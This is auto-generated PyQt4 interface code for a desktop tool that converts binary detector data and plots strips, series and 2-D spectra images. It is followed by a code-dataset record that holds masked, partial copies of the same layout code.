self.horizontalLayout_10 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_9)
self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_10.setObjectName(_fromUtf8("horizontalLayout_10"))
self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)
self.label_11.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_11.setFont(font)
self.label_11.setObjectName(_fromUtf8("label_11"))
self.horizontalLayout_10.addWidget(self.label_11)
self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)
self.browserButton.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().hasHeightForWidth())
self.browserButton.setSizePolicy(sizePolicy)
self.browserButton.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton.setObjectName(_fromUtf8("browserButton"))
self.horizontalLayout_10.addWidget(self.browserButton)
self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)
self.filePathEdit_3.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().hasHeightForWidth())
self.filePathEdit_3.setSizePolicy(sizePolicy)
self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_3.setObjectName(_fromUtf8("filePathEdit_3"))
self.horizontalLayout_10.addWidget(self.filePathEdit_3)
self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592, 32))
self.horizontalLayoutWidget_10.setObjectName(_fromUtf8("horizontalLayoutWidget_10"))
self.horizontalLayout_11 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_10)
self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_11.setObjectName(_fromUtf8("horizontalLayout_11"))
self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)
self.label_12.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_12.setFont(font)
self.label_12.setObjectName(_fromUtf8("label_12"))
self.horizontalLayout_11.addWidget(self.label_12)
self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10)
self.browserButton_3.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().hasHeightForWidth())
self.browserButton_3.setSizePolicy(sizePolicy)
self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton_3.setObjectName(_fromUtf8("browserButton_3"))
self.horizontalLayout_11.addWidget(self.browserButton_3)
self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().hasHeightForWidth())
self.filePathEdit_5.setSizePolicy(sizePolicy)
self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_5.setObjectName(_fromUtf8("filePathEdit_5"))
self.horizontalLayout_11.addWidget(self.filePathEdit_5)
self.runButton = QtGui.QPushButton(self.groupBox)
self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.runButton.sizePolicy().hasHeightForWidth())
self.runButton.setSizePolicy(sizePolicy)
self.runButton.setMinimumSize(QtCore.QSize(80, 50))
self.runButton.setIconSize(QtCore.QSize(24, 24))
self.runButton.setObjectName(_fromUtf8("runButton"))
self.verticalLayout.addWidget(self.groupBox)
self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().hasHeightForWidth())
self.groupBox_2.setSizePolicy(sizePolicy)
self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox_2.setFont(font)
self.groupBox_2.setAutoFillBackground(True)
self.groupBox_2.setObjectName(_fromUtf8("groupBox_2"))
self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32))
self.horizontalLayoutWidget_4.setObjectName(_fromUtf8("horizontalLayoutWidget_4"))
self.horizontalLayout_6 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_4)
self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6"))
self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8("label_3"))
self.horizontalLayout_6.addWidget(self.label_3)
self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().hasHeightForWidth())
self.browserButton_4.setSizePolicy(sizePolicy)
self.browserButton_4.setObjectName(_fromUtf8("browserButton_4"))
self.horizontalLayout_6.addWidget(self.browserButton_4)
self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().hasHeightForWidth())
self.loadButton.setSizePolicy(sizePolicy)
self.loadButton.setObjectName(_fromUtf8("loadButton"))
self.horizontalLayout_6.addWidget(self.loadButton)
self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().hasHeightForWidth())
self.filePathEdit_4.setSizePolicy(sizePolicy)
self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))
self.filePathEdit_4.setObjectName(_fromUtf8("filePathEdit_4"))
self.horizontalLayout_6.addWidget(self.filePathEdit_4)
self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29))
self.horizontalLayoutWidget_2.setObjectName(_fromUtf8("horizontalLayoutWidget_2"))
self.horizontalLayout_2 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_2)
self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label_4.sizePolicy().hasHeightForWidth())
self.label_4.setSizePolicy(sizePolicy)
self.label_4.setObjectName(_fromUtf8("label_4"))
self.horizontalLayout_2.addWidget(self.label_4)
self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().hasHeightForWidth())
self.comboBox.setSizePolicy(sizePolicy)
self.comboBox.setObjectName(_fromUtf8("comboBox"))
self.horizontalLayout_2.addWidget(self.comboBox)
self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().hasHeightForWidth())
self.plotButton.setSizePolicy(sizePolicy)
self.plotButton.setObjectName(_fromUtf8("plotButton"))
self.horizontalLayout_2.addWidget(self.plotButton)
self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481, 29))
self.horizontalLayoutWidget_3.setObjectName(_fromUtf8("horizontalLayoutWidget_3"))
self.horizontalLayout_3 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_3)
self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)
self.label_5.setObjectName(_fromUtf8("label_5"))
self.horizontalLayout_3.addWidget(self.label_5)
self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().hasHeightForWidth())
self.comboBox_R1.setSizePolicy(sizePolicy)
self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))
self.comboBox_R1.setObjectName(_fromUtf8("comboBox_R1"))
self.horizontalLayout_3.addWidget(self.comboBox_R1)
self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)
self.label.setEnabled(False)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth())
self.label.setSizePolicy(sizePolicy)
self.label.setMinimumSize(QtCore.QSize(30, 0))
self.label.setMaximumSize(QtCore.QSize(30, 29))
font = QtGui.QFont()
font.setBold(True)
font.setItalic(True)
font.setUnderline(False)
font.setWeight(75)
self.label.setFont(font)
self.label.setAutoFillBackground(True)
self.label.setLineWidth(5)
self.label.setAlignment(QtCore.Qt.AlignCenter)
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout_3.addWidget(self.label)
self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().hasHeightForWidth())
self.comboBox_R2.setSizePolicy(sizePolicy)
self.comboBox_R2.setObjectName(_fromUtf8("comboBox_R2"))
self.horizontalLayout_3.addWidget(self.comboBox_R2)
self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().hasHeightForWidth())
self.plotRangeButton.setSizePolicy(sizePolicy)
self.plotRangeButton.setObjectName(_fromUtf8("plotRangeButton"))
self.horizontalLayout_3.addWidget(self.plotRangeButton)
self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481, 29))
self.horizontalLayoutWidget_7.setObjectName(_fromUtf8("horizontalLayoutWidget_7"))
self.horizontalLayout_5 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_7)
self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5"))
self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)
self.label_8.setObjectName(_fromUtf8("label_8"))
self.horizontalLayout_5.addWidget(self.label_8)
self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().hasHeightForWidth())
self.comboBox_2.setSizePolicy(sizePolicy)
self.comboBox_2.setObjectName(_fromUtf8("comboBox_2"))
self.horizontalLayout_5.addWidget(self.comboBox_2)
self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().hasHeightForWidth())
self.checkBox.setSizePolicy(sizePolicy)
self.checkBox.setObjectName(_fromUtf8("checkBox"))
self.horizontalLayout_5.addWidget(self.checkBox)
self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().hasHeightForWidth())
self.plotImageButton.setSizePolicy(sizePolicy)
self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))
self.plotImageButton.setObjectName(_fromUtf8("plotImageButton"))
self.horizontalLayout_5.addWidget(self.plotImageButton)
self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)
self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().hasHeightForWidth())
self.clearPlotButton.setSizePolicy(sizePolicy)
self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))
self.clearPlotButton.setObjectName(_fromUtf8("clearPlotButton"))
self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))
self.horizontalLayoutWidget.setObjectName(_fromUtf8("horizontalLayoutWidget"))
self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)
self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)
self.label_9.setObjectName(_fromUtf8("label_9"))
self.horizontalLayout.addWidget(self.label_9)
self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().hasHeightForWidth())
self.pushButton.setSizePolicy(sizePolicy)
self.pushButton.setMinimumSize(QtCore.QSize(80, 15))
self.pushButton.setObjectName(_fromUtf8("pushButton"))
self.horizontalLayout.addWidget(self.pushButton)
self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().hasHeightForWidth())
self.plotStripsButton.setSizePolicy(sizePolicy)
self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))
self.plotStripsButton.setObjectName(_fromUtf8("plotStripsButton"))
self.horizontalLayout.addWidget(self.plotStripsButton)
self.verticalLayout.addWidget(self.groupBox_2)
MainWindow.setCentralWidget(self.centralwidget)
self.statusbar = QtGui.QStatusBar(MainWindow)
self.statusbar.setObjectName(_fromUtf8("statusbar"))
MainWindow.setStatusBar(self.statusbar)
self.toolBar = QtGui.QToolBar(MainWindow)
self.toolBar.setObjectName(_fromUtf8("toolBar"))
MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)
self.menuBar = QtGui.QMenuBar(MainWindow)
self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))
self.menuBar.setObjectName(_fromUtf8("menuBar"))
MainWindow.setMenuBar(self.menuBar)
self.actionOpen = QtGui.QAction(MainWindow)
self.actionOpen.setVisible(True)
self.actionOpen.setObjectName(_fromUtf8("actionOpen"))
self.actionQuit = QtGui.QAction(MainWindow)
self.actionQuit.setObjectName(_fromUtf8("actionQuit"))
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow", None))
self.groupBox_3.setTitle(_translate("MainWindow", "PLOT WINDOW", None))
self.groupBox.setTitle(_translate("MainWindow", " BINARY DATA CONVERSION", None))
self.label_7.setText(_translate("MainWindow", " OUTPUT FILE ", None))
self.browserButton_7.setText(_translate("MainWindow", "Browse", None))
self.filePathEdit_7.setText(_translate("MainWindow", "D:\\detdev\\maia\\python\\", None))
self.label_11.setText(_translate("MainWindow", " DECODER FILE", None))
self.browserButton.setText(_translate("MainWindow", "Browse", None))
self.filePathEdit_3.setText(_translate("MainWindow", "D:\\detdev\\maia\\python\\qtGSD\\gsd_parse.out", None))
self.label_12.setText(_translate("MainWindow", " INPUT FILE ", None))
self.browserButton_3.setText(_translate("MainWindow", "Browse", None))
self.filePathEdit_5.setText(_translate("MainWindow", "D:\\detdev\\maia\\python\\", None))
self.runButton.setText(_translate("MainWindow", "Run", None))
self.groupBox_2.setTitle(_translate("MainWindow", " PLOT DATA", None))
self.label_3.setText(_translate("MainWindow", " DATA FILE ", None))
self.browserButton_4.setText(_translate("MainWindow", "Browse", None))
self.loadButton.setText(_translate("MainWindow", "Load", None))
self.filePathEdit_4.setText(_translate("MainWindow", "D:\\detdev\\maia\\python\\", None))
self.label_4.setText(_translate("MainWindow", " PLOT STRIP ", None))
self.plotButton.setText(_translate("MainWindow", "Plot", None))
self.label_5.setText(_translate("MainWindow", " PLOT SERIES", None))
self.label.setText(_translate("MainWindow", "to", None))
self.plotRangeButton.setText(_translate("MainWindow", "Plot", None))
self.label_8.setText(_translate("MainWindow", " PLOT SPECTRA AS 2-D IMAGE", None))
self.checkBox.setText(_translate("MainWindow", "Log", None))
self.plotImageButton.setText(_translate("MainWindow", "Plot Image", None))
self.clearPlotButton.setText(_translate("MainWindow", "Clear", None))
self.label_9.setText(_translate("MainWindow", " PLOT TOTAL COUNTS vs STRIP", None))
self.pushButton.setText(_translate("MainWindow", "Update", None))
self.plotStripsButton.setText(_translate("MainWindow", "Plot Strips", None))
self.toolBar.setWindowTitle(_translate("MainWindow", "toolBar", None))
self.actionOpen.setText(_translate("MainWindow", "Open", None))
self.actionQuit.setText(_translate("MainWindow", "Quit", None))
|
flexible
|
{
"blob_id": "9dde8e5fd0e83860ee86cf5402ab6eeb5b07ab2c",
"index": 7761,
"step-1": "<mask token>\n\n\nclass Ui_MainWindow(object):\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass Ui_MainWindow(object):\n\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8('MainWindow'))\n MainWindow.resize(661, 728)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().\n hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(100, 100))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setAutoFillBackground(False)\n MainWindow.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(MainWindow)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().\n hasHeightForWidth())\n self.centralwidget.setSizePolicy(sizePolicy)\n self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))\n self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))\n self.centralwidget.setObjectName(_fromUtf8('centralwidget'))\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().\n hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.groupBox_3.setAutoFillBackground(True)\n self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.\n AlignLeft | QtCore.Qt.AlignVCenter)\n self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))\n self.gridLayout = QtGui.QGridLayout(self.groupBox_3)\n self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)\n self.gridLayout.setObjectName(_fromUtf8('gridLayout'))\n self.MainVertLayout = QtGui.QVBoxLayout()\n self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)\n self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)\n self.MainVertLayout.setSpacing(0)\n self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))\n self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().\n hasHeightForWidth())\n self.groupBox.setSizePolicy(sizePolicy)\n self.groupBox.setMinimumSize(QtCore.QSize(100, 200))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox.setFont(font)\n self.groupBox.setWhatsThis(_fromUtf8(''))\n self.groupBox.setObjectName(_fromUtf8('groupBox'))\n self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,\n 32))\n self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_6'))\n self.horizontalLayout_9 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_6)\n self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))\n self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)\n self.label_7.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_7.setFont(font)\n self.label_7.setObjectName(_fromUtf8('label_7'))\n self.horizontalLayout_9.addWidget(self.label_7)\n self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)\n self.browserButton_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().\n hasHeightForWidth())\n self.browserButton_7.setSizePolicy(sizePolicy)\n self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))\n self.horizontalLayout_9.addWidget(self.browserButton_7)\n self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)\n self.filePathEdit_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_7.setSizePolicy(sizePolicy)\n self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))\n self.horizontalLayout_9.addWidget(self.filePathEdit_7)\n self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)\n )\n self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_9'))\n self.horizontalLayout_10 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_9)\n self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')\n )\n self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)\n self.label_11.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_11.setFont(font)\n self.label_11.setObjectName(_fromUtf8('label_11'))\n self.horizontalLayout_10.addWidget(self.label_11)\n self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)\n self.browserButton.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().\n hasHeightForWidth())\n self.browserButton.setSizePolicy(sizePolicy)\n self.browserButton.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton.setObjectName(_fromUtf8('browserButton'))\n self.horizontalLayout_10.addWidget(self.browserButton)\n self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)\n self.filePathEdit_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_3.setSizePolicy(sizePolicy)\n self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))\n self.horizontalLayout_10.addWidget(self.filePathEdit_3)\n self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,\n 32))\n self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_10'))\n self.horizontalLayout_11 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_10)\n self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')\n )\n self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)\n self.label_12.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_12.setFont(font)\n self.label_12.setObjectName(_fromUtf8('label_12'))\n self.horizontalLayout_11.addWidget(self.label_12)\n self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10\n )\n self.browserButton_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n 